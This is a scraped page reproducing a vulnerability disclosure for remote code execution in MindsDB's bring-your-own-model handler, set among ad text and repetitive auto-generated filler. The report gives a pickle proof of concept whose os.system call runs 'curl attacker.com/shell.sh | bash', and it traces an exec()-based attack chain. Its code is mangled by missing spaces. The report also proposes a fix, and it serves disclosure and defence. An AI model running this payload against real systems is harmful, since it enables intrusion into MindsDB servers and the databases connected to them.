Sponsored by
Vmake Labs Video Enhancer
-Vmake Labs Video Enhancer uses AI to improve video quality, restore details, reduce blur, and upscale videos to 8K.
CREATE MODEL pwned
PREDICT target
USING engine='byom',
code='class Model: pass';
The model's
train()
returns
pickle.dumps(self.__dict__)
— but an attacker who controls the model code can override
__dict__
to contain a malicious pickle payload
When
predict()
is called
(e.g.,
SELECT * FROM pwned WHERE ...
), the server deserializes the model state with
pickle.loads(model_state)
→ arbitrary code execution
Alternative: Direct state injection
If the attacker has access to the MindsDB storage backend (database), they can directly replace the model state bytes with a malicious pickle:
import pickle, os
classExploit:
def__reduce__(self):
return (os.system, ('curl attacker.com/shell.sh | bash',))
malicious_state = pickle.dumps(Exploit())
# Insert into model storage → next predict() = RCE
AI Impact (10x Multiplier)
MindsDB is an AI-in-database platform. The BYOM handler is specifically designed for users to bring custom ML models. Compromising it enables:
Model poisoning
— replace legitimate model with backdoored version
Training data exfiltration
— RCE gives access to all data MindsDB has access to
Database compromise
— MindsDB connects to user databases (MySQL, PostgreSQL, etc.), RCE gives access to all connected data sources
Supply chain
— poisoned model persists across restarts and affects all queries
Known CVE Context
MindsDB has prior deserialization CVEs (CVE-2024-45846, CVE-2024-45847 — eval injection via Weaviate integration). This BYOM pickle.loads is a different, previously unreported vector.
Suggested Fix
Replace
pickle.loads
with a safe alternative:
import json
import jsonpickle
defpredict(self, df, model_state, args):
# Use JSON-based deserialization instead of pickle
model_state = json.loads(model_state)
# Or use restricted unpickler:# model_state = RestrictedUnpickler(io.BytesIO(model_state)).load()
self.model_instance.__dict__ = model_state
Invariant Violated
S16 (DeserializationGuard): Application MUST NOT use
pickle.loads
on data from user-controlled or shared storage.
Additional Finding: Direct
exec()
on User Model Code
defimport_string(code, module_name='model'):
module = types.ModuleType(module_name)
exec(code, module.__dict__) # ← Direct code execution, NO sandboxreturn module
This is the execution path for BYOM models. When a user creates a model with
engine='byom'
, their Python code is passed to
import_string()
which calls
exec()
with no sandboxing, no AST filtering, no import restrictions.
The same file also uses
pickle.loads()
for IPC (stdin/stdout between parent and worker):
defdecode(encoded):
return pickle.loads(encoded) # Line 55defget_input():
withopen(0, 'rb') as fd:
encoded = fd.read()
obj = decode(encoded) # pickle.loads on stdin
Combined Chain
User creates BYOM model with malicious code →
exec(code)
→ RCE
Even if exec were sandboxed, the pickle IPC channel is unprotected → pickle.loads bypass
This is a
defense-in-depth failure
— two independent RCE vectors in the same module.
Runs of vellaveto mindsdb-byom-rce on huggingface.co
0
Total runs
0
24-hour runs
0
3-day runs
0
7-day runs
0
30-day runs
More Information About mindsdb-byom-rce huggingface.co Model
mindsdb-byom-rce huggingface.co
mindsdb-byom-rce huggingface.co is an AI model on huggingface.co that provides mindsdb-byom-rce's model effect (), which can be used instantly with this vellaveto mindsdb-byom-rce model. huggingface.co supports a free trial of the mindsdb-byom-rce model, and also provides paid use of the mindsdb-byom-rce. Support call mindsdb-byom-rce model through api, including Node.js, Python, http.
mindsdb-byom-rce huggingface.co is an online trial and call api platform, which integrates mindsdb-byom-rce's modeling effects, including api services, and provides a free online trial of mindsdb-byom-rce, you can try mindsdb-byom-rce online for free by clicking the link below.
vellaveto mindsdb-byom-rce online free url in huggingface.co:
mindsdb-byom-rce is an open source model from GitHub that offers a free installation service, and any user can find mindsdb-byom-rce on GitHub to install. At the same time, huggingface.co provides the effect of mindsdb-byom-rce install, users can directly use mindsdb-byom-rce installed effect in huggingface.co for debugging and trial. It also supports api for free installation.